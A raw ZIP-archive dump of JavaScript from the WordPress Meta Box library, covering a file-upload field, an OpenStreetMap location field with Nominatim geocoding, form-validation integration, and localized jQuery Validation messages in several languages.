				if ( $input.find( '.rwmb-error' ).length === 0 ) {
					$input.append( '<p class="rwmb-error"></p>' );
				}

				const $error = $input.find( '.rwmb-error' ).empty().show();
				$error.text( err.message );
				setTimeout( function () {
					$error.fadeOut( "slow" );
				}, 5000 );
			} );

			$this.data( 'uploader', this.uploader );
		},

		getExtensions: function () {
			var mimeTypes = this.controller.get( 'mimeType' ).split( ',' ),
				exts = [];

			_.each( mimeTypes, function ( current, index ) {
				if ( i18nRwmbMedia.extensions[ current ] ) {
					exts = exts.concat( i18nRwmbMedia.extensions[ current ] );
				}
			} );
			return exts;
		}
	} );

	function initFileUpload() {
		var $this = $( this ),
			view = $this.data( 'view' );

		if ( view ) {
			return;
		}
		view = new FileUploadField( { input: this } );

		$this.siblings( '.rwmb-media-view' ).remove();
		$this.after( view.el );
		// Init progress
		view.$el.find( '.rwmb-media-list' ).after( '<div class="rwmb-media-progress"></div>' );
		// Init uploader after view is inserted to make wp.Uploader works.
		view.addButton.initUploader( $this );

		$this.data( 'view', view );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-file_upload' ).each( initFileUpload );
	}

	function removeFile( e ) {
		$( '.rwmb-media-progress #' + $( this ).data( 'file_id' ) ).remove();
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-file_upload', initFileUpload )
		.on( 'click', '.rwmb-file-actions .rwmb-remove-media', removeFile );
} )( jQuery, wp, rwmb );
PK     0w\I{       dashboard/lib/meta-box/js/osm.jsnu [        ( function ( $, L, rwmb, i18n ) {
	'use strict';

	// Use function construction to store map & DOM elements separately for each instance
	var OsmField = function ( $container ) {
		this.$container = $container;
	};

	// Use prototype for better performance
	OsmField.prototype = {
		// Initialize everything
		init: function () {
			this.initDomElements();
			this.initMapElements();

			this.initMarkerPosition();
			this.addListeners();
			this.autocomplete();

			// Make sure the map is displayed fully.
			var map = this.map;
			setTimeout( function () {
				map.invalidateSize();
			}, 200 );
		},

		// Initialize DOM elements
		initDomElements: function () {
			this.$canvas = this.$container.find( '.rwmb-osm-canvas' );
			this.canvas = this.$canvas[ 0 ];
			this.$coordinate = this.$container.find( '.rwmb-osm' );
			this.addressField = this.$container.data( 'address-field' );
		},

		setCenter: function ( location ) {
			this.map.panTo( location );
			if ( this.marker ) {
				this.marker.setLatLng( location );
				return;
			}

			this.marker = L.marker( location, {
				draggable: true
			} ).addTo( this.map );
		},

		initMapElements: function () {
			this.map = L.map( this.canvas, { zoom: 14 } );
			L.tileLayer( 'https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
				attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'
			} ).addTo( this.map );

			// If there is a saved location, don't set the default location.
			if ( this.$coordinate.val() ) {
				return;
			}

			// Load default location if it's set.
			const defaultLoc = this.$canvas.data( 'default-loc' );
			if ( defaultLoc ) {
				return this.setCenter( defaultLoc.split( ',' ) );
			}

			// Set default location to Dublin as a start.
			const dublin = [ 53.346881, -6.258860 ];
			this.setCenter( dublin );

			// Try to load current user location. Note that Geolocation API works only on HTTPS.
			if ( location.protocol.includes( 'https' ) && navigator.geolocation ) {
				this.map.locate( { setView: true } ).on( 'locationfound', e => this.setCenter( e.latlng ) );
			}
		},

		initMarkerPosition: function () {
			const coordinate = this.$coordinate.val();

			if ( coordinate ) {
				const location = coordinate.split( ',' );
				this.setCenter( location );

				const zoom = location.length > 2 ? parseInt( location[ 2 ], 10 ) : 14;
				this.map.setZoom( zoom );
			} else if ( this.addressField ) {
				this.geocodeAddress( false );
			}
		},

		// Add event listeners for 'click' & 'drag'
		addListeners: function () {
			var that = this;

			/*
			 * Auto change the map when there's change in address fields.
			 * Works only for multiple address fields as single address field has autocomplete functionality.
			 */
			if ( this.addressField.split( ',' ).length > 1 ) {
				var geocodeAddress = that.geocodeAddress.bind( that );
				var addressFields = this.addressField.split( ',' ).forEach( function ( part ) {
					var $field = that.findAddressField( part );
					if ( null !== $field ) {
						$field.on( 'change', geocodeAddress );
					}
				} );
			}

			this.map.on( 'click', function ( event ) {
				that.marker.setLatLng( event.latlng );
				that.updateCoordinate( event.latlng );
			} );

			this.map.on( 'zoom', function () {
				that.updateCoordinate( that.marker.getLatLng() );
			} );

			this.marker.on( 'drag', function () {
				that.updateCoordinate( that.marker.getLatLng() );
			} );

			// Custom event to refresh maps when in hidden divs.
			var refresh = that.refresh.bind( this );
			$( window ).on( 'rwmb_map_refresh', refresh );

			// Refresh on meta box hide and show
			rwmb.$document.on( 'postbox-toggled', refresh );
			// Refresh on sorting meta boxes
			$( '.meta-box-sortables' ).on( 'sortstop', refresh );
		},

		refresh: function () {
			if ( !this.map ) {
				return;
			}
			this.map.invalidateSize();
			this.map.panTo( this.map.getCenter() );
		},

		// Autocomplete address
		autocomplete: function () {
			var that = this,
				$address = this.getAddressField();

			if ( null === $address ) {
				return;
			}

			$address.autocomplete( {
				source: function ( request, response ) {
					$.get( 'https://nominatim.openstreetmap.org/search', {
						format: 'json',
						q: request.term,
						countrycodes: that.$canvas.data( 'region' ),
						"accept-language": that.$canvas.data( 'language' ),
						addressdetails: 1
					}, function ( results ) {
						if ( !results.length ) {
							response( [ {
								value: '',
								label: i18n.no_results_string
							} ] );
							return;
						}
						response( results.map( function ( item ) {
							return {
								address: item.address,
								label: item.display_name,
								value: item.display_name,
								latitude: item.lat,
								longitude: item.lon
							};
						} ) );
					}, 'json' );
				},
				select: function ( event, ui ) {
					const latLng = L.latLng( ui.item.latitude, ui.item.longitude );

					that.setCenter( latLng );
					that.updateCoordinate( latLng );

					$address.trigger( 'selected_address', [ ui.item ] );
				}
			} );
		},

		// Update coordinate to input field
		updateCoordinate: function ( latLng ) {
			var zoom = this.map.getZoom();
			this.$coordinate.val( latLng.lat + ',' + latLng.lng + ',' + zoom ).trigger( 'change' );
		},

		// Find coordinates by address
		geocodeAddress: function ( notify ) {
			var address = this.getAddress(),
				that = this;
			if ( !address ) {
				return;
			}

			if ( false !== notify ) {
				notify = true;
			}
			$.get( 'https://nominatim.openstreetmap.org/search', {
				format: 'json',
				q: address,
				limit: 1,
				countrycodes: that.$canvas.data( 'region' ),
				"accept-language": that.$canvas.data( 'language' )
			}, function ( result ) {
				if ( result.length !== 1 ) {
					if ( notify ) {
						alert( i18n.no_results_string );
					}
					return;
				}
				var latLng = L.latLng( result[ 0 ].lat, result[ 0 ].lon );
				that.setCenter( latLng );
				that.updateCoordinate( latLng );
			}, 'json' );
		},

		// Get the address field.
		getAddressField: function () {
			// No address field or more than 1 address fields, ignore
			if ( !this.addressField || this.addressField.split( ',' ).length > 1 ) {
				return null;
			}
			return this.findAddressField( this.addressField );
		},

		// Get the address value for geocoding.
		getAddress: function () {
			var that = this;

			return this.addressField.split( ',' )
				.map( function ( part ) {
					part = that.findAddressField( part );
					return null === part ? '' : part.val();
				} )
				.join( ',' ).replace( /\n/g, ',' ).replace( /,,/g, ',' );
		},

		// Find address field based on its name attribute. Auto search inside groups when needed.
		findAddressField: function ( fieldName ) {
			// Not in a group.
			var $address = $( 'input[name="' + fieldName + '"]' );
			if ( $address.length ) {
				return $address;
			}

			// If map and address is inside a cloneable group.
			$address = this.$container.closest( '.rwmb-group-clone' ).find( 'input[name*="[' + fieldName + ']"]' );
			if ( $address.length ) {
				return $address;
			}

			// If map and address is inside a non-cloneable group.
			$address = this.$container.closest( '.rwmb-group-wrapper' ).find( 'input[name*="[' + fieldName + ']"]' );
			if ( $address.length ) {
				return $address;
			}

			return null;
		}
	};

	function createController() {
		var $this = $( this ),
			controller = $this.data( 'osmController' );
		if ( controller ) {
			return;
		}

		controller = new OsmField( $this );
		controller.init();
		$this.data( 'osmController', controller );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-osm-field' ).each( createController );
	}

	function restart() {
		$( '.rwmb-osm-field' ).each( createController );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-input', restart );
} )( jQuery, L, rwmb, RWMB_Osm );PK     0w\S:(  :(  2  dashboard/lib/meta-box/js/validation/validation.jsnu [        ( function ( $, rwmb, i18n ) {
	'use strict';

	/**
	 * Extract the validation key from an input's name attribute. Usually it's the field ID, but sometimes (like for `file`), it's the field's input name.
	 *
	 * field[]    => field   // Fields with multiple values: file, checkbox list, etc.
	 * field[1]   => field   // Cloneable fields
	 * field[1][] => field   // Cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[field][]    => field  // Group with fields with multiple values: file, checkbox list, etc.
	 * group[field][1]   => field  // Group with cloneable fields
	 * group[field][1][] => field  // Group with cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[1][field][]    => field  // Cloneable group with fields with multiple values: file, checkbox list, etc.
	 * group[1][field][1]   => field  // Cloneable group with cloneable fields
	 * group[1][field][1][] => field  // Cloneable group with cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[subgroup][field][]    => field  // Subgroup with fields with multiple values: file, checkbox list, etc.
	 * group[subgroup][field][1]   => field  // Subgroup with cloneable fields
	 * group[subgroup][field][1][] => field  // Subgroup with cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[subgroup][1][field][]    => field  // Cloneable subgroup with fields with multiple values: file, checkbox list, etc.
	 * group[subgroup][1][field][1]   => field  // Cloneable subgroup with cloneable fields
	 * group[subgroup][1][field][1][] => field  // Cloneable subgroup with cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[1][subgroup][field][]    => field  // Cloneable group with subgroup with fields with multiple values: file, checkbox list, etc.
	 * group[1][subgroup][field][1]   => field  // Cloneable group with subgroup with cloneable fields
	 * group[1][subgroup][field][1][] => field  // Cloneable group with subgroup with cloneable fields with multiple values: file, checkbox list, etc.
	 *
	 * group[1][subgroup][1][field][]    => field  // Cloneable group with cloneable subgroup with fields with multiple values: file, checkbox list, etc.
	 * group[1][subgroup][1][field][1]   => field  // Cloneable group with cloneable subgroup with cloneable fields
	 * group[1][subgroup][1][field][1][] => field  // Cloneable group with cloneable subgroup with cloneable fields with multiple values: file, checkbox list, etc.
	 */
	const getValidationKey = name => {
		// Detect name parts in format of anything[] or anything[1].
		let parts = name.match( /^(.+?)(?:\[\d+\]|(?:\[\]))?$/ );

		if ( parts[ 1 ] && isNaN( parts[ 1 ] ) ) {
			// Remove []
			let words = name.match( /(\w+)|(\[\w+\])/g );
			let resultArray = [ words.join( "" ) ];

			// Remove characters "[" and "]".
			words.forEach( matchedValue => {
				if ( matchedValue.startsWith( "[" ) ) {
					resultArray.push( matchedValue.substring( 1, matchedValue.length - 1 ) );
				} else {
					resultArray.push( matchedValue );
				}
			} );

			parts[ 0 ] = resultArray[ 0 ];
			parts[ 1 ] = isNaN( resultArray[ resultArray.length - 1 ] ) ? resultArray[ resultArray.length - 1 ] : resultArray[ resultArray.length - 2 ];
		}

		return parts.pop();
	};

	/**
	 * Fix validation not working for cloneable files or fields in groups.
	 */
	$.validator.staticRules = function ( element ) {
		let rules = {},
			validator = $.data( element.form, "validator" );

		// No rules.
		if ( validator.settings.rules === null || Object.keys( validator.settings.rules ).length === 0 ) {
			return rules;
		}

		// Do not validate hidden fields.
		if ( element.type === 'hidden' ) {
			return rules;
		}

		let key = getValidationKey( element.name );

		/**
		 * Cloneable files or files in groups.
		 * Input name is transformed into format `_file_{unique_id}`
		 * There is also a hidden input with name `_index_{field_id}` with value `_file_{unique_id}`
		 *
		 * In this case, `key` is always `_file_{unique_id}`
		 *
		 * Note that for cloneable files, validation rule is set for `_index_{field_id}`. For files in groups, validation rule is still `{field_id}`.
		 */
		if ( element.type === 'file' && ( $( element ).closest( '.rwmb-clone' ).length > 0 || $( element ).closest( '.rwmb-group-wrapper' ).length > 0 ) ) {
			const $input = $( element ).closest( '.rwmb-input' );
			const $indexInput = $input.find( '*[value="' + key + '"]' );

			key = getValidationKey( $indexInput.attr( 'name' ) );

			// Remove prefix `_index_` from input name when in groups.
			if ( !validator.settings.rules[ key ] && key.includes( '_index_' ) ) {
				key = key.slice( 7 );
			}

			if ( validator.settings.rules[ key ] ) {
				// Set message for element.
				validator.settings.messages[ element.name ] = validator.settings.messages[ key ];
				// Set rule for element.
				return $.validator.normalizeRule( validator.settings.rules[ key ] ) || {};
			}

			return rules;
		}

		// For normal fields and fields in groups: set rules by their field IDs (validation keys).

		// Set message for element.
		validator.settings.messages[ element.name ] = validator.settings.messages[ key ];
		// Set rule for element.
		return $.validator.normalizeRule( validator.settings.rules[ key ] ) || {};
	};

	/**
	 * Make jQuery Validation works with multiple inputs with same names.
	 * Need for file, image fields where users can upload multiple files with same input names.
	 *
	 * @link https://stackoverflow.com/q/931687/371240
	 */
	$.validator.prototype.checkForm = function () {
		this.prepareForm();
		for ( var i = 0, elements = ( this.currentElements = this.elements() ); elements[ i ]; i++ ) {
			if ( this.findByName( elements[ i ].name ).length !== undefined && this.findByName( elements[ i ].name ).length > 1 ) {
				for ( var cnt = 0; cnt < this.findByName( elements[ i ].name ).length; cnt++ ) {
					this.check( this.findByName( elements[ i ].name )[ cnt ] );
				}
			} else {
				this.check( elements[ i ] );
			}
		}
		return this.valid();
	};

	class Validation {
		constructor( formSelector ) {
			this.$form = $( formSelector );
			this.validationElements = this.$form.find( '.rwmb-validation' );
			this.showAsterisks();
			this.getSettings();
		}

		init() {
			this.$form
				// Update underlying textarea before submit.
				// Don't use submitHandler() because form can be submitted via Ajax on the front end.
				.on( 'submit', function () {
					if ( typeof tinyMCE !== 'undefined' ) {
						tinyMCE.triggerSave();
					}
				} )
				.validate( this.settings );
		}

		showAsterisks() {
			this.validationElements.each( function () {
				const data = $( this ).data( 'validation' );

				$.each( data.rules, function ( k, v ) {
					if ( !v[ 'required' ] ) {
						return;
					}
					let $el = $( '[name="' + k + '"]' );
					if ( !$el.length ) {
						$el = $( '[name*="[' + k + ']"]' ); // Subfields in groups.
					}
					if ( $el.length ) {
						$el.closest( '.rwmb-input' ).siblings( '.rwmb-label' ).find( 'label' ).append( '<span class="rwmb-required">*</span>' );
					}
				} );
			} );
		}

		getSettings() {
			this.settings = {
				ignore: ':not(.rwmb-media,.rwmb-image_select,.rwmb-wysiwyg,.rwmb-color,.rwmb-map,.rwmb-osm,.rwmb-switch,[class|="rwmb"])',
				errorPlacement: function ( error, element ) {
					error.appendTo( element.closest( '.rwmb-input' ) );
				},
				errorClass: 'rwmb-error',
				errorElement: 'p',
				invalidHandler: this.invalidHandler.bind( this )
			};

			// Gather all validation rules.
			var that = this;
			this.validationElements.each( function () {
				$.extend( true, that.settings, $( this ).data( 'validation' ) );
			} );
		}

		invalidHandler() {
			this.showMessage();
			// Group field will automatically expand and show an error warning when collapsing
			for ( var i = 0; i < this.$form.data( 'validator' ).errorList.length; i++ ) {
				$( '#' + this.$form.data( 'validator' ).errorList[ i ].element.id ).closest( '.rwmb-group-collapsed' ).removeClass( 'rwmb-group-collapsed' );
			}
			// Custom event for showing error fields inside tabs/hidden divs. Use setTimeout() to run after error class is added to inputs.
			var that = this;
			setTimeout( function () {
				that.$form.trigger( 'after_validate' );
			}, 200 );
		}

		showMessage() {
			// Re-enable the submit ( publish/update ) button and hide the ajax indicator
			$( '#publish' ).removeClass( 'button-primary-disabled' );
			$( '#ajax-loading' ).attr( 'style', '' );
			$( '#rwmb-validation-message' ).remove();
			this.$form.before( '<div id="rwmb-validation-message" class="notice notice-error is-dismissible"><p>' + i18n.message + '</p></div>' );
		}
	};

	class GutenbergValidation extends Validation {
		init() {
			var that = this,
				editor = wp.data.dispatch( 'core/editor' );
			
			if ( ! editor ) {
				return false;
			}

			const savePost = editor.savePost; // Reference original method.

			if ( that.settings ) {
				that.$form.validate( that.settings );
			}

			// Change the editor method.
			editor.savePost = function ( options = {} ) {
				// Bypass the validation when previewing in Gutenberg.
				if ( typeof options === 'object' && options.isPreview ) {
					return savePost( options );
				}

				// Must call savePost() here instead of in submitHandler() because the form has inline onsubmit callback.
				if ( that.$form.valid() ) {
					return savePost( options );
				}
			};
		}

		showMessage() {
			wp.data.dispatch( 'core/notices' ).createErrorNotice( i18n.message, {
				id: 'meta-box-validation',
				isDismissible: true
			} );
		}
	};

	// Run on document ready.
	function init() {
		if ( rwmb.isGutenberg ) {
			var advanced = new GutenbergValidation( '.metabox-location-advanced' ),
				normal = new GutenbergValidation( '.metabox-location-normal' ),
				side = new GutenbergValidation( '.metabox-location-side' );

			side.init();
			normal.init();
			advanced.init();
			return;
		}

		// Edit post, edit term, edit user, front-end form.
		var $forms = $( '#post, #edittag, #your-profile, .rwmb-form' );
		$forms.each( function () {
			var form = new Validation( this );
			form.init();
		} );
	};

	rwmb.$document
		.on( 'mb_ready', init );

} )( jQuery, rwmb, rwmbValidation );
PK     0w\ti  i  8  dashboard/lib/meta-box/js/validation/i18n/messages_kk.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: KK (Kazakh; қазақ тілі)
 */
$.extend( $.validator.messages, {
	required: "Бұл өрісті міндетті түрде толтырыңыз.",
	remote: "Дұрыс мағына енгізуіңізді сұраймыз.",
	email: "Нақты электронды поштаңызды енгізуіңізді сұраймыз.",
	url: "Нақты URL-ды енгізуіңізді сұраймыз.",
	date: "Нақты URL-ды енгізуіңізді сұраймыз.",
	dateISO: "Нақты ISO форматымен сәйкес датасын енгізуіңізді сұраймыз.",
	number: "Күнді енгізуіңізді сұраймыз.",
	digits: "Тек қана сандарды енгізуіңізді сұраймыз.",
	creditcard: "Несие картасының нөмірін дұрыс енгізуіңізді сұраймыз.",
	equalTo: "Осы мәнді қайта енгізуіңізді сұраймыз.",
	extension: "Файлдың кеңейтуін дұрыс таңдаңыз.",
	maxlength: $.validator.format( "Ұзындығы {0} символдан көр болмасын." ),
	minlength: $.validator.format( "Ұзындығы {0} символдан аз болмасын." ),
	rangelength: $.validator.format( "Ұзындығы {0}-{1} дейін мән енгізуіңізді сұраймыз." ),
	range: $.validator.format( "Пожалуйста, введите число от {0} до {1}. - {0} - {1} санын енгізуіңізді сұраймыз." ),
	max: $.validator.format( "{0} аз немесе тең санын енгізуіңіді сұраймыз." ),
	min: $.validator.format( "{0} көп немесе тең санын енгізуіңізді сұраймыз." )
} );
return $;
}));PK     0w\h>    8  dashboard/lib/meta-box/js/validation/i18n/messages_gl.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: GL (Galician; Galego)
 */
( function( $ ) {
	$.extend( $.validator.messages, {
		required: "Este campo é obrigatorio.",
		remote: "Por favor, cubre este campo.",
		email: "Por favor, escribe unha dirección de correo válida.",
		url: "Por favor, escribe unha URL válida.",
		date: "Por favor, escribe unha data válida.",
		dateISO: "Por favor, escribe unha data (ISO) válida.",
		number: "Por favor, escribe un número válido.",
		digits: "Por favor, escribe só díxitos.",
		creditcard: "Por favor, escribe un número de tarxeta válido.",
		equalTo: "Por favor, escribe o mesmo valor de novo.",
		extension: "Por favor, escribe un valor cunha extensión aceptada.",
		maxlength: $.validator.format( "Por favor, non escribas máis de {0} caracteres." ),
		minlength: $.validator.format( "Por favor, non escribas menos de {0} caracteres." ),
		rangelength: $.validator.format( "Por favor, escribe un valor entre {0} e {1} caracteres." ),
		range: $.validator.format( "Por favor, escribe un valor entre {0} e {1}." ),
		max: $.validator.format( "Por favor, escribe un valor menor ou igual a {0}." ),
		min: $.validator.format( "Por favor, escribe un valor maior ou igual a {0}." ),
		nifES: "Por favor, escribe un NIF válido.",
		nieES: "Por favor, escribe un NIE válido.",
		cifES: "Por favor, escribe un CIF válido."
	} );
}( jQuery ) );
return $;
}));PK     0w\B{    8  dashboard/lib/meta-box/js/validation/i18n/messages_sd.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SD (Sindhi; سنڌي)
 */
$.extend( $.validator.messages, {
    required: "هنن جاين جي ضرورت آهي",
    remote: "هنن جاين جي ضرورت آهي",
    email: "لکيل اي ميل غلط آهي",
    url: "لکيل ايڊريس غلط آهي",
    date: "لکيل تاريخ غلط آهي",
    dateISO: "جي معيار جي مطابق نه آهي (ISO) لکيل تاريخ",
    number: "لکيل انگ صحيح ناهي",
    digits: "رڳو انگ داخل ڪري سگهجي ٿو",
    creditcard: "لکيل ڪارڊ نمبر صحيح نه آهي",
    equalTo: "داخل ٿيل ڀيٽ صحيح نه آهي",
    extension: "لکيل غلط آهي",
    maxlength: $.validator.format( "وڌ کان وڌ {0} جي داخلا ڪري سگهجي ٿي" ),
    minlength: $.validator.format( "گهٽ ۾ گهٽ {0} جي داخلا ڪرڻ ضروري آهي" ),
    rangelength: $.validator.format( "داخلا جو {0} ۽ {1}جي وچ ۾ هجڻ ضروري آهي" ),
    range: $.validator.format( "داخلا جو {0} ۽ {1}جي وچ ۾ هجڻ ضروري آهي" ),
    max: $.validator.format( "وڌ کان وڌ {0} جي داخلا ڪري سگهجي ٿي" ),
    min: $.validator.format( "گهٽ ۾ گهٽ {0} جي داخلا ڪرڻ ضروري آهي" )
} );
return $;
}));PK     0w\Ev  v  8  dashboard/lib/meta-box/js/validation/i18n/messages_ru.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: RU (Russian; русский язык)
 */
$.extend( $.validator.messages, {
	required: "Это поле необходимо заполнить.",
	remote: "Пожалуйста, введите правильное значение.",
	email: "Пожалуйста, введите корректный адрес электронной почты.",
	url: "Пожалуйста, введите корректный URL.",
	date: "Пожалуйста, введите корректную дату.",
	dateISO: "Пожалуйста, введите корректную дату в формате ISO.",
	number: "Пожалуйста, введите число.",
	digits: "Пожалуйста, вводите только цифры.",
	creditcard: "Пожалуйста, введите правильный номер кредитной карты.",
	equalTo: "Пожалуйста, введите такое же значение ещё раз.",
	extension: "Пожалуйста, выберите файл с правильным расширением.",
	maxlength: $.validator.format( "Пожалуйста, введите не больше {0} символов." ),
	minlength: $.validator.format( "Пожалуйста, введите не меньше {0} символов." ),
	rangelength: $.validator.format( "Пожалуйста, введите значение длиной от {0} до {1} символов." ),
	range: $.validator.format( "Пожалуйста, введите число от {0} до {1}." ),
	max: $.validator.format( "Пожалуйста, введите число, меньшее или равное {0}." ),
	min: $.validator.format( "Пожалуйста, введите число, большее или равное {0}." )
} );
return $;
}));PK     0w\b!D    8  dashboard/lib/meta-box/js/validation/i18n/messages_ar.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: AR (Arabic; العربية)
 */
$.extend( $.validator.messages, {
	required: "هذا الحقل إلزامي",
	remote: "يرجى تصحيح هذا الحقل للمتابعة",
	email: "رجاء إدخال عنوان بريد إلكتروني صحيح",
	url: "رجاء إدخال عنوان موقع إلكتروني صحيح",
	date: "رجاء إدخال تاريخ صحيح",
	dateISO: "رجاء إدخال تاريخ صحيح (ISO)",
	number: "رجاء إدخال عدد بطريقة صحيحة",
	digits: "رجاء إدخال أرقام فقط",
	creditcard: "رجاء إدخال رقم بطاقة ائتمان صحيح",
	equalTo: "رجاء إدخال نفس القيمة",
	extension: "رجاء إدخال ملف بامتداد موافق عليه",
	maxlength: $.validator.format( "الحد الأقصى لعدد الحروف هو {0}" ),
	minlength: $.validator.format( "الحد الأدنى لعدد الحروف هو {0}" ),
	rangelength: $.validator.format( "عدد الحروف يجب أن يكون بين {0} و {1}" ),
	range: $.validator.format( "رجاء إدخال عدد قيمته بين {0} و {1}" ),
	max: $.validator.format( "رجاء إدخال عدد أقل من أو يساوي {0}" ),
	min: $.validator.format( "رجاء إدخال عدد أكبر من أو يساوي {0}" )
} );
return $;
}));PK     0w\9?    8  dashboard/lib/meta-box/js/validation/i18n/messages_mk.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: MK (Macedonian; македонски јазик)
 */
$.extend( $.validator.messages, {
	required: "Полето е задолжително.",
	remote: "Поправете го ова поле.",
	email: "Внесете правилна e-mail адреса.",
	url: "Внесете правилен URL.",
	date: "Внесете правилен датум.",
	dateISO: "Внесете правилен датум (ISO).",
	number: "Внесете правилен број.",
	digits: "Внесете само бројки.",
	creditcard: "Внесете правилен број на кредитната картичка.",
	equalTo: "Внесете ја истата вредност повторно.",
	extension: "Внесете вредност со соодветна екстензија.",
	maxlength: $.validator.format( "Внесете максимално {0} знаци." ),
	minlength: $.validator.format( "Внесете барем {0} знаци." ),
	rangelength: $.validator.format( "Внесете вредност со должина помеѓу {0} и {1} знаци." ),
	range: $.validator.format( "Внесете вредност помеѓу {0} и {1}." ),
	max: $.validator.format( "Внесете вредност помала или еднаква на {0}." ),
	min: $.validator.format( "Внесете вредност поголема или еднаква на {0}." )
} );
return $;
}));PK     0w\ݾ[y  y  8  dashboard/lib/meta-box/js/validation/i18n/messages_zh.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ZH (Chinese, 中文 (Zhōngwén), 汉语, 漢語)
 */
$.extend( $.validator.messages, {
	required: "这是必填字段",
	remote: "请修正此字段",
	email: "请输入有效的电子邮件地址",
	url: "请输入有效的网址",
	date: "请输入有效的日期",
	dateISO: "请输入有效的日期 (YYYY-MM-DD)",
	number: "请输入有效的数字",
	digits: "只能输入数字",
	creditcard: "请输入有效的信用卡号码",
	equalTo: "你的输入不相同",
	extension: "请输入有效的后缀",
	maxlength: $.validator.format( "最多可以输入 {0} 个字符" ),
	minlength: $.validator.format( "最少要输入 {0} 个字符" ),
	rangelength: $.validator.format( "请输入长度在 {0} 到 {1} 之间的字符串" ),
	range: $.validator.format( "请输入范围在 {0} 到 {1} 之间的数值" ),
	step: $.validator.format( "请输入 {0} 的整数倍值" ),
	max: $.validator.format( "请输入不大于 {0} 的数值" ),
	min: $.validator.format( "请输入不小于 {0} 的数值" )
} );
return $;
}));PK     0w\aq    8  dashboard/lib/meta-box/js/validation/i18n/messages_my.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: MY (Malay; Melayu)
 */
$.extend( $.validator.messages, {
	required: "Medan ini diperlukan.",
	remote: "Sila betulkan medan ini.",
	email: "Sila masukkan alamat emel yang betul.",
	url: "Sila masukkan URL yang betul.",
	date: "Sila masukkan tarikh yang betul.",
	dateISO: "Sila masukkan tarikh(ISO) yang betul.",
	number: "Sila masukkan nombor yang betul.",
	digits: "Sila masukkan nilai digit sahaja.",
	creditcard: "Sila masukkan nombor kredit kad yang betul.",
	equalTo: "Sila masukkan nilai yang sama semula.",
	extension: "Sila masukkan nilai yang telah diterima.",
	maxlength: $.validator.format( "Sila masukkan tidak lebih dari {0} aksara." ),
	minlength: $.validator.format( "Sila masukkan sekurang-kurangnya {0} aksara." ),
	rangelength: $.validator.format( "Sila masukkan antara {0} dan {1} panjang aksara." ),
	range: $.validator.format( "Sila masukkan nilai antara {0} dan {1} aksara." ),
	max: $.validator.format( "Sila masukkan nilai yang kurang atau sama dengan {0}." ),
	min: $.validator.format( "Sila masukkan nilai yang lebih atau sama dengan {0}." )
} );
return $;
}));PK     0w\nv?  ?  8  dashboard/lib/meta-box/js/validation/i18n/messages_sr.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SR (Serbian; српски језик)
 */
$.extend( $.validator.messages, {
	required: "Поље је обавезно.",
	remote: "Средите ово поље.",
	email: "Унесите исправну и-мејл адресу.",
	url: "Унесите исправан URL.",
	date: "Унесите исправан датум.",
	dateISO: "Унесите исправан датум (ISO).",
	number: "Унесите исправан број.",
	digits: "Унесите само цифе.",
	creditcard: "Унесите исправан број кредитне картице.",
	equalTo: "Унесите исту вредност поново.",
	extension: "Унесите вредност са одговарајућом екстензијом.",
	maxlength: $.validator.format( "Унесите мање од {0} карактера." ),
	minlength: $.validator.format( "Унесите барем {0} карактера." ),
